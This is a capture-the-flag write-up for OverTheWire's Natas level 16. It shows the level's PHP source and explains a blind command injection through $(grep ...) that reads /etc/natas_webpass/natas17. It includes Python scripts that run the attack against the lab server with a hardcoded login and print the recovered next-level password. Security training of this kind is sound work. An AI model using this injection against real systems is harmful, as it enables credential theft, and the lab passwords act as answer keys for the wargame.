<pre>  
<?  
$key = "";  
  
if(array_key_exists("needle", $_REQUEST)) {  
    $key = $_REQUEST["needle"];  
}  
  
if($key != "") {  
    if(preg_match('/[;|&`\'"]/',$key)) {  
        print "Input contains an illegal character!";  
    } else {  
        passthru("grep -i \"$key\" dictionary.txt");  
    }  
}  
?>  
</pre>  

The source code shows that many characters can’t be used, yet following the theme of the previous challenges, we can inject code…

15

Unfortunately, it seems that injecting code with base64 encoded strings won’t work, I tried something simple like $(base64 -d <<< YQo=) didn’t work. Another way is using boolean based injection, just like our previous example! For that to work, we need to find a way to answer our question. One way is the fact that it shows data if substring exists, otherwise it’s empty.

Using that logic, we’ll be interrogating the server:

Question: Does /etc/natas_webpass/natas17 contain the letter a?
Input: doomed$(grep a /etc/natas_webpass/natas17)
Output if Yes: empty
Output if No: doomed

Let’s get our filtered character set first:

import requests  
from requests.auth import HTTPBasicAuth  
  
auth=HTTPBasicAuth('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')  
  
filteredchars = ''  
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'  
for char in allchars:  
 r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=doomed$(grep ' + char + ' /etc/natas_webpass/natas17)', auth=auth)  
   
 if 'doomed' not in r.text:  
  filteredchars = filteredchars + char  
  print(filteredchars)  

Next, we’ll be using regex again to get the exact password (posting entire code):

import requests  
from requests.auth import HTTPBasicAuth  
  
auth=HTTPBasicAuth('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')  
  
filteredchars = ''  
passwd = ''  
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'  
for char in allchars:  
 r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=doomed$(grep ' + char + ' /etc/natas_webpass/natas17)', auth=auth)  
   
 if 'doomed' not in r.text:  
  filteredchars = filteredchars + char  
  print(filteredchars)  
  
for i in range(32):  
 for char in filteredchars:  
  r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=doomed$(grep ^' + passwd + char + ' /etc/natas_webpass/natas17)', auth=auth)  
    
  if 'doomed' not in r.text:  
   passwd = passwd + char  
   print(passwd)  
   break  

Output:

b  
bc  
bcd  
bcdg  
bcdgh  
bcdghk  
bcdghkm  
bcdghkmn  
bcdghkmnq  
bcdghkmnqr  
bcdghkmnqrs  
bcdghkmnqrsw  
bcdghkmnqrswA  
bcdghkmnqrswAG  
bcdghkmnqrswAGH  
bcdghkmnqrswAGHN  
bcdghkmnqrswAGHNP  
bcdghkmnqrswAGHNPQ  
bcdghkmnqrswAGHNPQS  
bcdghkmnqrswAGHNPQSW  
bcdghkmnqrswAGHNPQSW3  
bcdghkmnqrswAGHNPQSW35  
bcdghkmnqrswAGHNPQSW357  
bcdghkmnqrswAGHNPQSW3578  
bcdghkmnqrswAGHNPQSW35789  
bcdghkmnqrswAGHNPQSW357890  
8  
8P  
8Ps  
8Ps3  
8Ps3H  
8Ps3H0  
8Ps3H0G  
8Ps3H0GW  
8Ps3H0GWb  
8Ps3H0GWbn  
8Ps3H0GWbn5  
8Ps3H0GWbn5r  
8Ps3H0GWbn5rd  
8Ps3H0GWbn5rd9  
8Ps3H0GWbn5rd9S  
8Ps3H0GWbn5rd9S7  
8Ps3H0GWbn5rd9S7G  
8Ps3H0GWbn5rd9S7Gm  
8Ps3H0GWbn5rd9S7GmA  
8Ps3H0GWbn5rd9S7GmAd  
8Ps3H0GWbn5rd9S7GmAdg  
8Ps3H0GWbn5rd9S7GmAdgQ  
8Ps3H0GWbn5rd9S7GmAdgQN  
8Ps3H0GWbn5rd9S7GmAdgQNd  
8Ps3H0GWbn5rd9S7GmAdgQNdk  
8Ps3H0GWbn5rd9S7GmAdgQNdkh  
8Ps3H0GWbn5rd9S7GmAdgQNdkhP  
8Ps3H0GWbn5rd9S7GmAdgQNdkhPk  
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq  
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9  
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9c  
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw  

Natas 17 password is: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw